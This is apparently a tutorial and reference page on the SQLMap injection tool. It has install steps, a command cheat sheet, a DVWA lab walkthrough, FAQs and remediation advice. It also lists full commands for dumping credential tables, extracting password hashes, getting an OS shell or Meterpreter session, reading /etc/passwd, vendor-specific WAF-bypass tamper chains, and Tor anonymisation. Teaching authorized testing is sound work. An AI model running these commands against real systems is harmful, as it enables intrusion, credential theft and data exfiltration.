GO KALI FREE

SQLMap

Web Application

Intermediatehigh risk

SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.

Authorized request context and tool-specific inputs produce HTTP requests and responses; status, size, body and timing differences need reproducible validation.
HTTP testing turns responses into evidenceConceptual assessment, not exact tool internals. FUZZ is a FFUF substitution convention, not a vulnerability indicator; SQLMap probes can have side effects.Original conceptual diagram. On narrow screens, scroll the figure to read the labels.

Installation

sudo apt install sqlmap

Basic Syntax

sqlmap -u "<URL>" [options]

Quick Facts

Full Name
SQLMap
License
GNU GPL v2
Author
Bernardo Damele & Miroslav Stampar
Written In
Python
Platforms
Linux, Windows, macOS
Category
SQL Injection Framework
First Release
2006
Database Support
MySQL, PostgreSQL, Oracle, MSSQL, SQLite, + more

Tool Overview

Written authorization is required; use SQLMap only against an intentionally vulnerable lab. Run `sqlmap -u "http://example.com/item.php?id=1" --batch` to test the `id` parameter with six techniques: boolean-based blind (B), error-based (E), UNION query (U), stacked queries (S), time-based blind (T), and out-of-band (Q). It reports injection evidence and the DBMS; review that output before enumerating data.

Install SQLMap if it is missing; Kali normally includes it, so confirm the installed build with `sqlmap --version`. Written authorization is required before scanning, and this loop uses only the lab URL. Run `sqlmap -u "http://example.com/item.php?id=1" --batch`, then read whether `id` is injectable and which DBMS was detected. Enumerate with `sqlmap -u "http://example.com/item.php?id=1" --batch --dbs`, list tables with `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> --tables`, and dump only an approved table with `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> -T <table> --dump`. Replace placeholders only with names reported by the authorized lab.

Written authorization is required for the deliberately vulnerable lab. Run `sqlmap -u "http://example.com/item.php?id=1" --batch`. A realistic successful sequence is `[INFO] testing connection to the target URL`, `[INFO] testing if GET parameter 'id' is dynamic`, `[INFO] testing for SQL injection on GET parameter 'id'`, `[INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'`, `[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable`, and `[INFO] the back-end DBMS is MySQL`. The first line starts the connectivity check. The second checks whether `id` changes the response. The third starts injection probes. The fourth tries a UNION shape and column range. “Injectable” records the positive finding, not permission to extract data. The final line fingerprints MySQL. Review the reported payload and scope before enumeration.

SQLMap is pre-installed on Kali Linux. If it is absent, use `sudo apt install sqlmap` on Kali, Debian, or Ubuntu; `pip install sqlmap` on any OS with Python 3; `brew install sqlmap` on macOS; `sudo pacman -S sqlmap` on Arch; or `sudo dnf install sqlmap` on Fedora. For the latest development version, run `git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git`; that repository is a software source, not a scan target. Verify with `sqlmap --version`. Update a Git installation with `sqlmap --update`, Kali with `sudo apt update && sudo apt install --only-upgrade sqlmap`, or pip with `pip install -U sqlmap`. These commands only install or update the tool; written authorization is required before any lab test.

When an authorized lab test confirms SQL injection, the real fix is to stop building SQL by concatenating input. Use parameterized queries or prepared statements so values are bound as data, not executable SQL. Give the application’s database account only the permissions it needs; avoid DBA or broad write access. Validate input type, length, and format as a second layer, not as a substitute for parameters. Hide detailed database errors from users while logging them securely for developers. Patch similar queries, add regression tests, and retest the authorized lab path after deployment.

SQLMap is a free, open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities in web applications. It supports six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band.

Created by Bernardo Damele Assuncao and Miroslav Stampar in 2006, SQLMap has become the industry-standard tool for SQL injection testing. It supports all major database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, and Informix.

SQLMap goes beyond simple injection detection. It can enumerate databases, extract tables and columns, dump entire databases, escalate privileges to DBA, access the underlying operating system through database-specific features, and even upload files to the target server. Its intelligent detection engine automatically identifies injection points and selects the optimal exploitation technique.

Quick Reference Commands

Verified quick-reference commands for SQLMap
CommandPurpose
sqlmap -u "<url>"Test parameters in one authorized target URL using default detection settings.
sqlmap -r <request-file>Load and test a raw HTTP request from a file.
sqlmap -u "<url>" --formsParse forms from the page and offer their fields for testing.
sqlmap -u "<url>" --dbsEnumerate accessible database names after injection is confirmed.Database enumeration can expose sensitive information.
sqlmap -u "<url>" --batchUse default answers instead of interactive prompts.
sqlmap Usage

Common Commands

sqlmap -u "http://example.com/?id=1"Basic SQL injection test on a single URL parameter
sqlmap -u "http://example.com/?id=1" --dbsEnumerate available databases after detection
sqlmap -u "http://example.com/?id=1" -D mydb --tablesList tables in a specific database
sqlmap -u "http://example.com/?id=1" -D mydb -T users --dumpDump all rows from a specific table
sqlmap -u "http://example.com/?id=1" --batchRun in non-interactive mode with default answers
sqlmap -u "http://example.com/?id=1" --level=5 --risk=3Maximum level and risk for thorough testing
sqlmap -u "http://example.com/?id=1" --technique=BEUUse only Boolean, Error, and UNION injection techniques
sqlmap -u "http://example.com/?id=1" --os-shellAttempt to get an operating system shell
sqlmap -u "http://example.com/?id=1" --file-read="/etc/passwd"Read a file from the database server filesystem
sqlmap -u "http://example.com/?id=1" --passwordsEnumerate database user password hashes
sqlmap -u "http://example.com/?id=1" --dump-allDump all accessible databases and tables
sqlmap -u "http://example.com/?id=1" --random-agentUse a random HTTP User-Agent header to avoid detection
sqlmap -r request.txtTest an HTTP request loaded from a saved file
sqlmap -u "http://example.com/?id=1" --proxy="http://127.0.0.1:8080"Route traffic through a proxy for monitoring
sqlmap -u "http://example.com/?id=1" --formsAuto-detect and test forms on a target page
sqlmap -u "http://example.com/?id=1" --crawl=3Crawl a website up to 3 levels deep and test forms
sqlmap -u "http://example.com/?id=1" --tamper=space2commentUse a tamper script to bypass WAF filters
sqlmap -u "http://example.com/?id=1" --technique=T --time-sec=10Use time-based blind injection with 10-second delay
sqlmap -u "http://example.com/?id=1" --wizardInteractive wizard for step-by-step scan configuration
sqlmap -u "http://example.com/?id=1" --flush-session --fresh-queriesClear session data and start a fresh scan
sqlmap -u "http://example.com/?id=1" --threads=5Use 5 parallel threads for faster data extraction
sqlmap -u "http://example.com/?id=1" --eta --updateDisplay estimated time of arrival and update SQLMap
sqlmap -u "http://example.com/?id=1" --hex --dump -D mydb -T credsHex-encode data during dump for safe binary handling
sqlmap -u "http://example.com/?id=1" --privileges --is-dbaCheck user privileges and whether the user is a DBA
sqlmap -u "http://example.com/?id=1" --batch -D mydb -T users --dump --threads=10 --random-agentFull automated table dump with 10 threads and random agent

Step-by-Step Guide

  1. 1Verify the local installation with `sqlmap --version`. This contacts no target; written authorization is required before any later scan.
  2. 2Confirm written authorization and record the only in-scope lab endpoint as `http://example.com/item.php?id=1`. No SQLMap option grants permission.
  3. 3Start the authorized lab test with `sqlmap -u "http://example.com/item.php?id=1" --batch`. Do not substitute an unapproved target.
  4. 4Read the results for an injectable `id` parameter and a detected back-end DBMS. Stop if the evidence is inconclusive or outside the written scope.
  5. 5Enumerate database names with `sqlmap -u "http://example.com/item.php?id=1" --batch --dbs`. Written authorization is required before this lab enumeration.
  6. 6Replace `<db>` with an approved name from step 5, then run `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> --tables`. Remain within the written lab scope.
  7. 7Replace the placeholders with approved names and list columns using `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> -T <table> --columns`. Written authorization remains required.
  8. 8Dump only approved, comma-separated columns with `sqlmap -u "http://example.com/item.php?id=1" --batch -D <db> -T <table> -C <cols> --dump`. Do not expand beyond the authorized lab evidence needed.
  9. 9SQLMap saves session data automatically; resume a named session with `sqlmap -u "http://example.com/item.php?id=1" --batch -s session.sqlite`. For a clean authorized retest, run `sqlmap -u "http://example.com/item.php?id=1" --batch --flush-session` to clear cached findings.
  10. 10Replay the authorized request in Burp Suite, and use `nikto -h "http://127.0.0.1/DVWA/"` only for supplementary checks against a local DVWA lab. Report the evidence, impact, affected parameter, and parameterized-query remediation instead of expanding scope.

Warnings

Use Cases

SQL Injection Testing

Automatically detect all six SQL injection techniques across GET, POST, and header parameters.

Database Enumeration

Extract database names, table names, column names, and full data contents from vulnerable applications.

Privilege Escalation

Identify database user privileges and attempt escalation to DBA for full server control.

OS Command Execution

Leverage database-specific features to execute operating system commands on the target server.

WAF Bypass

Use tamper scripts to bypass Web Application Firewalls and security filters.

Automated Web Auditing

Crawl websites, detect forms, and test all parameters for injection vulnerabilities.

Password Hash Extraction

Enumerate and extract database user password hashes for offline cracking with John the Ripper or Hashcat.

File System Access

Read and write files on the database server through INTO OUTFILE and UTL_FILE for data exfiltration or webshell upload.

Stored Procedure Abuse

Execute database stored procedures for advanced exploitation including linked server traversal and XPCmdShell execution.

Blind Injection Automation

Automate boolean-based and time-based blind SQL injection to extract data when no error messages are visible.

Key Features

Comparison

SQLMap vs Manual SQL Injection vs Burp Scanner

FeatureSQLMapManual InjectionBurp Scanner
SpeedFast (automated)Slow (hand-crafted)Fast (automated)
Learning ValueMedium (understand output)Very high (core skill)Low (black box)
WAF Evasion30+ tamper scriptsFull controlLimited
Data ExtractionAutomated dumpManual, tediousDetection only
Best ForConfirmed exploitation at scaleLearning + edge casesBroad app coverage

SQLMap Level & Risk — Coverage vs Noise

FeatureSettingRequestsWhen to Use
--level=1 --risk=1 (default)GET/POST values onlyFewestFirst pass, quiet recon
--level=3Adds Cookie & User-AgentModerateParams hidden in headers
--level=5All headers & entry pointsMostThorough authorized audit
--risk=2Adds heavy time-basedMoreBoolean blind fails
--risk=3Adds OR-based payloadsHighest (can modify data)Lab / explicit sign-off only

SQL Injection Technique Selection (--technique)

FeatureTechniqueFlagNotes
Boolean-based blindTrue/false page diffBReliable, moderate speed
Error-basedDB error in responseEFast when errors surface
UNION queryAppended UNION SELECTUFastest bulk extraction
Stacked queriesMultiple statementsSEnables OS/file actions where supported
Time-based blindResponse delayTWorks when no output — slowest
Out-of-BandDNS/HTTP side channelQWorks when no output is visible

Best Practices

Common Errors

sqlmap: command not found
Install it with sudo apt install sqlmap, pip install sqlmap, or clone the repo and run python sqlmap.py from the source directory.
[CRITICAL] all tested parameters do not appear to be injectable
Raise coverage with --level=5 --risk=3, confirm you are testing the right parameter with -p, and provide a full request via -r request.txt so headers and cookies are included.
[CRITICAL] unable to connect to the target URL
Verify the URL in a browser or with curl -I, check connectivity, and if you route through Burp add --proxy=http://127.0.0.1:8080.
[CRITICAL] connection timed out to the target URL
Add --timeout=30, slow down with --delay=1, and reduce --threads. A WAF may be throttling you — see the WAF error below.
[WARNING] heuristic detected that the target is protected by a WAF/IPS
On authorized targets, try --tamper (e.g. space2comment,between), lower --threads, add --random-agent, and pace requests with --delay. Detect the WAF first with wafw00f.
[CRITICAL] you did not provide the list of targets / no parameter to test
Provide a parameter with -u "http://site/?id=1", pass POST data with --data, or capture the full request in Burp and feed it with -r request.txt.
[CRITICAL] connection reset / the target closed the connection
Reduce aggression: fewer --threads, add --delay, use --random-agent, and consider --safe-url/--safe-freq to interleave benign requests.
[CRITICAL] can't establish SSL connection / certificate verify failed
Add --force-ssl if the site needs HTTPS, and on authorized test targets you can bypass certificate validation. Confirm the correct scheme (http vs https).
[CRITICAL] unable to retrieve the number of databases / no output
Switch technique with --technique=BEUST, confirm privileges with --privileges, and for blind cases add --level and be patient — time-based extraction is slow.
CSRF token error / the session appears to be expired
Use --csrf-token and --csrf-url to let SQLMap fetch fresh tokens, and pass a valid session with --cookie or a full -r request file.
[ERROR] there was an error while unpacking / stale session in the output directory
Add --flush-session to clear cached data for the target, or --fresh-queries to ignore the query cache for this run.
PermissionError writing to the output directory
Run as a user that owns the output path, set --output-dir to a writable location, or mount a writable volume when using the Docker image.

People Also Ask

How do I test a login page with SQLMap?

Use -r request.txt to pass a saved Burp Suite request, or --data='user=admin&pass=*' to test POST parameters. The * marks the injection point. Add --level=5 --risk=3 for maximum injection testing depth. Always test on authorized targets only.

How long does SQLMap take to test a target?

Simple GET parameter tests complete in seconds. Full database dumps can take hours depending on database size and injection complexity. Use --threads for parallel requests, --batch for non-interactive mode, and --smart to reduce unnecessary requests on large targets.

Can SQLMap bypass WAFs and firewalls?

SQLMap has built-in WAF bypass techniques including --tamper scripts (space2comment, between, randomcase), --random-agent, and --delay for rate limiting. Use --level=5 --risk=3 with tamper scripts for best WAF bypass results.

What SQL injection types does SQLMap support?

SQLMap supports six injection techniques: boolean-based blind (--technique=B), time-based blind (--technique=T), error-based (--technique=E), UNION query-based (--technique=U), stacked queries (--technique=S), and out-of-band (--technique=Q). It automatically detects and selects the best technique.

How do I use SQLMap with Burp Suite?

Save a vulnerable request from Burp Suite to a file (right-click > Save item), then run sqlmap -r request.txt. SQLMap automatically parses cookies, headers, and POST data from the Burp request. Add -p parameter_name to target a specific parameter.

Can SQLMap dump an entire database?

Yes. Use --dump-all to extract all data from all databases, or --dump -D dbname -T tablename for specific tables. Add --threads=10 for faster extraction. Use --where to filter rows. Always ensure you have authorization for the scope of data you extract.

What is the SQLMap user agent?

The default User-Agent identifies SQLMap. On a lab covered by written authorization, `sqlmap -u "http://example.com/item.php?id=1" --batch --random-agent` selects a random value, while `sqlmap -u "http://example.com/item.php?id=1" --batch --user-agent="Lab-Authorized-Client"` sets a custom one for approved WAF or rate-limit testing.

How do I run SQL queries with SQLMap?

After confirming an injection on the authorized lab, `sqlmap -u "http://example.com/item.php?id=1" --sql-query="SELECT version()"` runs one query. `sqlmap -u "http://example.com/item.php?id=1" --sql-shell` opens an interactive SQL prompt. Both require written authorization and must remain within the confirmed lab scope.

Learning Path

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5

Related Tools

Burp Suite

Web Application

Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.

XSStrike

Web Application

XSStrike is an advanced Cross-Site Scripting (XSS) detection suite. It features intelligent payload generation, context analysis, a powerful fuzzing engine, and built-in WAF detection and bypass capabilities.

Nikto

Vulnerability Analysis

Learn how to use Nikto, an open-source web server scanner written in Perl and pre-installed on Kali Linux, to audit servers you own or have written permission to test. Its 6700+ checks for potentially dangerous files and programs, plus tests for outdated software and misconfigurations, highlight issues that need verification.

Gobuster

Web Application

Learn how to use Gobuster, the fast Go-based directory and subdomain brute-forcer, with install steps, your first dir scan, wordlist picks, and result filtering — a beginner tutorial for Kali Linux.

FFUF

Web Application

Learn how to use FFUF (Fuzz Faster U Fool), the extremely fast open-source web fuzzer written in Go: place the FUZZ keyword where a wordlist entry should go, run your first scan, filter the noise, and discover hidden directories, files, parameters, virtual hosts and API endpoints on targets you have permission to test.

Hydra

Password Attacks

Hydra is a parallelized login cracker that supports numerous protocols including FTP, HTTP, HTTPS, SMB, SSH, and many more. It performs rapid dictionary attacks against login pages and services to test password strength.

Related Cybersecurity Guides

Web Security · Intermediate

Web Security Fundamentals: OWASP Top 10 and Beyond

A comprehensive guide to web application security covering the OWASP Top 10 vulnerabilities, defense in depth strategies, and secure development lifecycle practices.

Web Security · Intermediate

What Is SQL Injection? Types, Examples & How to Prevent SQL Injection Attacks

What is SQL injection? See real SQL injection examples, a worked DVWA lab test, and how to prevent SQL injection with parameterized queries.

Tools · Intermediate

SQLMap Commands: Cheat Sheet & How to Use SQLMap in Kali Linux

Every SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.

Web Security · Intermediate

API Hacking Guide: How to Test APIs for Security Flaws (BOLA, JWT & GraphQL)

Learn API hacking step by step: discover endpoints, test authentication and authorization, find BOLA flaws with a worked crAPI example, test JWTs and GraphQL, and report findings — with tools, a cheat sheet and a checklist.

Frequently Asked Questions

What is SQLMap?

SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends. SQLMap can enumerate databases, extract data, escalate privileges, and execute OS commands through vulnerable web applications.

What is SQLMap used for?

SQLMap is used for five primary tasks: detecting SQL injection vulnerabilities in web applications, enumerating database structures (databases, tables, columns), extracting sensitive data from vulnerable databases, escalating privileges to database administrator, and executing operating system commands through database-specific features like xp_cmdshell.

How does SQLMap work?

SQLMap sends specially crafted payloads to web application parameters and analyzes the server's responses. It tests for boolean-based blind (true/false logic), time-based blind (response delays), error-based (database errors), UNION query-based (appended SELECT), stacked queries (semicolon-separated statements), and out-of-band (DNS/HTTP side channel) injection techniques. Once injection is confirmed, it uses the identified technique to extract data or execute commands.

Is SQLMap free?

Yes, SQLMap is completely free and open source under the GNU General Public License (GPL). You can download it from GitHub, install it via apt-get install sqlmap on Kali Linux, or clone the repository directly. All features including tamper scripts, OS shell access, and database enumeration are included at no cost.

Is SQLMap legal?

SQLMap itself is legal software. However, using it to test web applications without explicit written permission from the owner is illegal in most jurisdictions. SQL injection exploitation can modify data, extract credentials, and execute system commands. Unauthorized use violates laws like the CFAA (US) and Computer Misuse Act (UK). Always obtain proper authorization before testing.

What databases does SQLMap support?

SQLMap supports over 30 database backends including MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, SAP MaxDB, Sybase, Informix, Altibase, MonetDB, MariaDB, and others. It automatically detects the database backend and adjusts exploitation techniques accordingly.

Can SQLMap bypass WAFs?

Yes, SQLMap includes over 30 tamper scripts for WAF bypass. Common scripts include space2comment (replaces spaces with /**/), charencode (URL-encodes characters), between (replaces > with NOT BETWEEN), and randomcase (randomizes letter casing). Chain multiple tamper scripts with --tamper=script1,script2 for maximum evasion.

What is the difference between --level and --risk in SQLMap?

--level controls the number of injection tests performed (1-5). Level 1 tests GET/POST parameters; level 5 tests cookies, HTTP headers, and User-Agent. --risk controls the risk of tests (1-3). Risk 1 uses safe tests; risk 3 adds heavy time-based tests that may cause DoS. Use --level=5 --risk=3 only in authorized penetration tests on resilient applications.

Can SQLMap get a reverse shell?

Yes, when the database user has sufficient privileges (DBA) and the database backend supports it. Use --os-shell to get an interactive command shell through MySQL's LOAD DATA INFILE or MSSQL's xp_cmdshell. You can also use --os-pwn for a Meterpreter shell through Metasploit integration.

How long does a SQLMap scan take?

Scan time depends on the target, techniques used, and --level/--risk settings. A basic boolean detection scan takes 30-60 seconds. Full enumeration with --level=5 --risk=3 can take 10-30 minutes. Time-based blind extraction is slowest, potentially hours for large datasets. Use --threads=10 to parallelize data extraction.

What is the --batch flag in SQLMap?

The --batch flag runs SQLMap in non-interactive mode, automatically answering 'yes' to all prompts and choosing default options. Essential for automated scanning, CI/CD pipelines, and scripted testing. Without --batch, SQLMap pauses for user input at every decision point.

Can SQLMap test POST parameters?

Yes. Use sqlmap -u "http://target.com/" --data="username=admin&password=test" to test POST parameters. You can also save a full HTTP request with Burp Suite and load it with sqlmap -r request.txt, which automatically tests all parameters including POST data, cookies, and headers.

How do I practice SQLMap safely?

Practice on intentionally vulnerable applications like DVWA (Damn Vulnerable Web Application), bWAPP, SQLi-labs, or HackTheBox/TryHackMe machines. These environments are designed for learning and provide legal, safe targets. Never practice on systems you do not own or have permission to test.

What is the difference between SQLMap and manual SQL injection?

SQLMap automates detection and exploitation, testing thousands of payloads automatically. Manual injection gives you full control and understanding of the vulnerability. SQLMap is faster and more thorough; manual testing is better for learning and complex injection scenarios that automation cannot handle. Professional penetration testers use both approaches.

Can SQLMap exploit stored SQL injection?

Yes. Save the HTTP request containing the injection point with Burp Suite, then use sqlmap -r request.txt. For stored injection in form fields, SQLMap can test and exploit injection that is stored in the database and triggered when other users view the affected page.

How do I update SQLMap to the latest version?

Update SQLMap by running sqlmap --update if installed from the Git repository. On Kali Linux, use sudo apt update && sudo apt install --only-upgrade sqlmap. The --update flag pulls the latest code from the GitHub repository and ensures you have the newest tamper scripts and detection techniques.

How do I test for time-based blind injection?

Use --technique=T to test specifically for time-based blind injection. You can adjust the delay threshold with --time-sec=5 (default is 5 seconds). Time-based injection is the slowest technique but works when no error messages or UNION output are available. It measures response time differences to infer data.

Can SQLMap test REST API endpoints?

Yes. Save the API request with Burp Suite and load it with sqlmap -r request.txt. SQLMap will automatically test all parameters in the request body, headers, and URL. For JSON APIs, use --data with the JSON payload and --headers to include authentication tokens.

Can sqlmap bypass login authentication?

Yes, use sqlmap with the --forms flag to automatically test login form parameters: sqlmap -u 'http://target.com/login' --forms. You can also manually specify the login POST data with --data='username=admin&password=test' and target specific parameters with -p. Sqlmap tests for authentication bypass through SQL injection in the login fields.

How do I use sqlmap with Tor for anonymity?

First start the Tor service (sudo service tor start), then configure sqlmap to use the Tor SOCKS5 proxy: sqlmap -u 'http://target.com' --proxy=socks5://127.0.0.1:9050. This routes all sqlmap traffic through the Tor network for anonymity. Note that Tor adds latency and may cause timeouts — increase --timeout to 30 seconds.

Can sqlmap test for second-order SQL injection?

SQLMap has limited support for second-order injection. Use the --second-order flag to specify a URL that is triggered after the initial injection. First inject a payload into a registration or profile form, then point --second-order to the page where the stored payload is executed. Second-order injection requires manual identification of the injection and response pages.

How do I use sqlmap tamper scripts to bypass WAF?

Chain multiple tamper scripts with --tamper: sqlmap -u 'http://target.com/?id=1' --tamper=space2comment,between,randomcase. Common bypass chains include between+space2comment for ModSecurity, randomcase+charencode for Akamai, and apostrophemask+space2comment for Cloudflare. Write custom tamper scripts in /usr/share/sqlmap/tamper/ for specific WAF signatures.

Is it legal to use SQLMap?

SQLMap is legal to install and run, but using it against a website you do not own or lack written permission to test is illegal under computer-misuse laws such as the US CFAA and the UK Computer Misuse Act. Only run SQLMap against systems you own, deliberately vulnerable labs (DVWA, bWAPP, the SQLi-labs project), or targets covered by a signed engagement or an in-scope bug bounty program.

How do I practice SQLMap legally?

Use intentionally vulnerable practice environments: DVWA, bWAPP, OWASP Juice Shop, and the SQLi-labs series all run locally in a VM or Docker and are designed for training. These let you learn --dbs, --tables, and --dump safely without touching real infrastructure. Never practice on live sites, even 'just to test'.

Why does SQLMap say the parameter is not injectable?

A 'not injectable' result usually means the parameter is properly parameterized, a WAF is filtering payloads, or you have not probed deeply enough. Raise coverage with --level=5 --risk=3, provide a full request with -r request.txt (capturing cookies and headers), and try --tamper scripts if a WAF is present. If it is genuinely parameterized, that is the site being secure — not a SQLMap failure.

How do I test a POST request or login form with SQLMap?

Capture the request in Burp Suite, save it to a file, and run sqlmap -r request.txt. SQLMap parses the method, body, cookies, and headers automatically. For a specific field use --data="user=admin&pass=test" -p user. This is the reliable way to test authenticated areas and complex forms.

What is the safest way to run SQLMap in a real engagement?

Start with detection only (no --dump), use --batch to avoid accidental destructive prompts, and avoid --os-shell, --sql-shell, and stacked-query writes unless the scope explicitly authorizes them. Add --threads conservatively, log everything for the report, and prefer read-only enumeration (--current-db, --tables) before any data extraction. Coordinate with the client before touching production databases.

How does SQLMap compare to manual SQL injection testing?

SQLMap automates payload generation, database fingerprinting, and extraction, which saves hours on confirmed injection points. Manual testing gives you deeper understanding and finds logic-specific or second-order flaws that automation misses. Best practice is to learn manual injection first, then use SQLMap to scale exploitation once you understand what it is doing.

Can SQLMap damage the target database?

Yes, if used carelessly. Stacked-query and --os-shell operations can write data or execute commands, and aggressive extraction on huge tables can load the server. Use read-only enumeration by default, avoid destructive flags unless authorized, test against a staging copy when possible, and never run high --risk levels on production without explicit sign-off.

How do I save and resume a SQLMap session?

SQLMap automatically stores session data in ~/.local/share/sqlmap/output/<target>/ (or the output directory), so re-running the same command resumes where it left off instead of re-testing. Use --flush-session to start fresh, and -o with --output-dir to control where results are written for your report.

Which SQLMap flags should beginners avoid?

Beginners should avoid --os-shell, --os-pwn, --sql-shell, and high --risk=3 settings until they understand the consequences — these can write to the database or execute commands. Start with -u, --dbs, --tables, --columns, and --dump on a lab target. Learn what each flag does before scaling up.

How do I report SQL injection findings professionally?

Document the vulnerable parameter, the injection type SQLMap identified, a redacted proof-of-concept, the database version/DBMS, and the potential impact (data exposure, auth bypass). Include remediation guidance — parameterized queries/prepared statements, least-privilege DB accounts, and input validation — and reference OWASP. Never include full dumped data in a report; prove impact with minimal evidence.

How do I install SQLMap with brew or pip?

On macOS, run `brew install sqlmap`; on any OS with Python 3, run `pip install sqlmap`. Verify the installation with `sqlmap --version`. These are local setup commands, but written authorization is required before any lab scan.

How do I update SQLMap in Kali Linux?

For a Git installation, run `sqlmap --update`. For Kali’s package, run `sudo apt update && sudo apt install --only-upgrade sqlmap`; for a pip installation, run `pip install -U sqlmap`. These update commands do not test a target; written authorization is required before later lab scans.

How do I use SQLMap to crawl a website?

With written authorization for local DVWA, run `sqlmap -u "http://127.0.0.1/DVWA/" --crawl=3 --forms --batch`. SQLMap follows discovered links to depth three, finds forms, and tests their inputs. Keep the depth low because crawling can generate many requests, even against an authorized lab.

What is the SQLMap user agent?

SQLMap’s default HTTP User-Agent identifies the tool. On the authorized lab, `sqlmap -u "http://example.com/item.php?id=1" --batch --random-agent` rotates it to a randomly selected browser-like value, while `sqlmap -u "http://example.com/item.php?id=1" --batch --user-agent="Lab-Authorized-Client"` sets a custom value. This matters when evaluating WAF or rate-limit evasion, which requires explicit written authorization.

Tags

#sql-injection#web-security#database-security#penetration-testing

Output Explanation

On an authorized lab run, the banner’s `{1.8.12#stable}` line identifies the SQLMap build; it is not a finding. `[INFO] testing if GET parameter 'id' is dynamic` means SQLMap is checking whether changing `id` affects the response. `[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')` is an early clue, not confirmation. `[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable` confirms the detected technique and tested column range. `[INFO] the back-end DBMS is MySQL` is the database fingerprint. After authorized `--dbs` enumeration, `available databases [2]:` introduces entries such as `[*] information_schema` and `[*] dvwa`; these are database names, not tables.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.